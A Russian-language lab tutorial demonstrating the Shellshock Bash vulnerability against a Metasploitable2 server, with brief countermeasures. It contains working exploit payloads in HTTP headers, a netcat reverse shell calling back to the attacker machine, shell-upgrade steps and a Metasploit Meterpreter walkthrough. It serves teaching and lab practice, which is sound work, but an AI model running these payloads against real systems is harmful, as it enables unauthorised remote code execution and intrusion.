Полная современная демонстрационная лаборатория для CVE-2014-6271 (Shellshock), включая архитектуру, шаги эксплуатации, использование Burp Suite, обратные оболочки, контрмеры и полную шпаргалку по командам.
Shellshock (CVE-2014-6271) — одна из самых влиятельных уязвимостей удаленного выполнения кода, когда-либо обнаруженных. Дефект затрагивает Bash и позволяет злоумышленникам выполнять произвольные команды, просто внедряя специально crafted полезные нагрузки в переменные окружения.
Это руководство предоставляет полную, воспроизводимую демонстрацию с использованием:
Оно предназначено для обучения, исследований, тренингов и повышения общей осведомленности в области кибербезопасности.
| Компонент | Роль | ОС | IP-адрес | Ключевые службы |
|---|---|---|---|---|
| Kali Linux | Атакующий | Kali Linux (последняя версия) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Целевой уязвимый сервер | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI-скрипты, Bash |
| Apache mod_cgi | Выполнение скриптов | Работает на MSF2 | н/д | Предоставляет Bash через CGI |
| shellshock.sh | Уязвимая точка входа | CGI на Bash | н/д | Отображает переменные окружения |
Эта простая конфигурация из двух узлов отражает многие устаревшие развертывания, все еще присутствующие в промышленных системах и системах Интернета вещей.
На Metasploitable2:
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Проверьте скрипт с Kali:
curl http://192.168.1.5/cgi-bin/shellshock.sh
Вы должны увидеть отображаемые переменные окружения.
Shellshock возникает, когда Bash некорректно анализирует переменные окружения, напоминающие определения функций.
Вредоносная переменная, например:
() { :; }; /bin/bash -c "id"
заставит Bash выполнить команду после определения функции — даже если сама функция никогда не вызывается.
CGI-приложения особенно уязвимы, поскольку HTTP-заголовки автоматически передаются скриптам в качестве переменных окружения.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Вывод должен включать:
Vulnerable
uid=33(www-data)
Это подтверждает удаленное выполнение кода.
Посетите:
http://192.168.1.5/cgi-bin/shellshock.sh
Отправьте запрос в Repeater.
Замените заголовок User-Agent на:
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Вы должны увидеть:
BurpTest
uid=33(www-data)
Burp Suite наглядно и познавательно подтверждает уязвимость.
Запустите слушатель на Kali:
nc -lvnp 4444
Запустите обратную оболочку через CGI-скрипт:
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Оболочка подключится обратно к Kali.
Внутри обратной оболочки:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Приостановите сессию:
Ctrl + Z
На Kali:
stty raw -echo; fg
Нажмите Enter.
Теперь у вас есть:
┌────────────────────────┐
│ Атакующий (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Вредоносный HTTP-заголовок (Shellshock)
│
▼
┌──────────────────────────┐
│ Веб-сервер Apache (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Заголовок → Переменная окружения CGI
│
▼
┌──────────────────────────┐
│ Bash (Уязвимый) │
└───────────┬──────────────┘
│
3. Внедренная команда выполняется
│
▼
┌─────────────────────────┐
│ Доступ оболочки www-data│
└───────────┬─────────────┘
│
4. Обратная оболочка → Kali
│
▼
┌──────────────────────────┐
│ Полностью интерактивный │
│ TTY │
└──────────────────────────┘
Визуальное прохождение ключевых этапов атаки.
| Описание | Изображение |
|---|---|
| Сканирование Nmap + вывод теста Shellshock | ![]() |
| Burp Suite – Исходный запрос Shellshock | ![]() |
| Burp Suite – Внедрение полезной нагрузки/заголовка | ![]() |
| Обратная оболочка, полученная на Kali (nc) | ![]() |
Примените патч до версии, которая корректно обрабатывает разбор функций.
Устаревший CGI вносит ненужный системный риск.
Отбрасывайте подозрительные шаблоны, такие как:
() { :; };
Ограничьте права пользователя веб-сервера (www-data).
Предотвращает обратные оболочки и утечку данных.
Современные сигнатуры WAF немедленно обнаруживают Shellshock.
Ограничивает процессы Bash и блокирует непреднамеренное поведение.
Используйте такие инструменты, как:
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Внутри оболочки:
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Приостановка:
Ctrl + Z
На Kali:
stty raw -echo; fg
Нажмите Enter.
Metasploit предоставляет профессиональный, автоматизированный способ эксплуатации Shellshock с использованием встроенного модуля:
exploit/multi/http/apache_mod_cgi_bash_env_exec
Этот метод быстр, надежен и предлагает автоматическую подготовку полезной нагрузки (например, Meterpreter).
msfconsole
search shellshock
Вы должны увидеть (среди прочего):
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Установите IP-адрес цели:
set rhosts 192.168.1.5
Установите путь к уязвимому CGI:
set targeturi /cgi-bin/shellshock.sh
Установите ваш IP-адрес Kali:
set lhost 192.168.1.4
При необходимости установите порт прослушивания:
set lport 4444
Проверьте:
options
Вы должны увидеть:
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
При успехе:
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Теперь у вас есть:
meterpreter >
shell
Затем:
id
hostname
Ожидаемый результат:
uid=33(www-data) gid=33(www-data)
metasploitable
Вы получили удаленное выполнение команд с помощью Metasploit и Shellshock.
Эта демонстрация показывает, как Shellshock может быть эксплуатирован с помощью простой манипуляции HTTP-заголовками, обратных оболочек, выполнения CGI-скриптов и автоматизации Metasploit. Несмотря на возраст более десяти лет, Shellshock остается важным уроком в:
Сделано с большой любовью:
Хайтам из Омана ❤️🇴🇲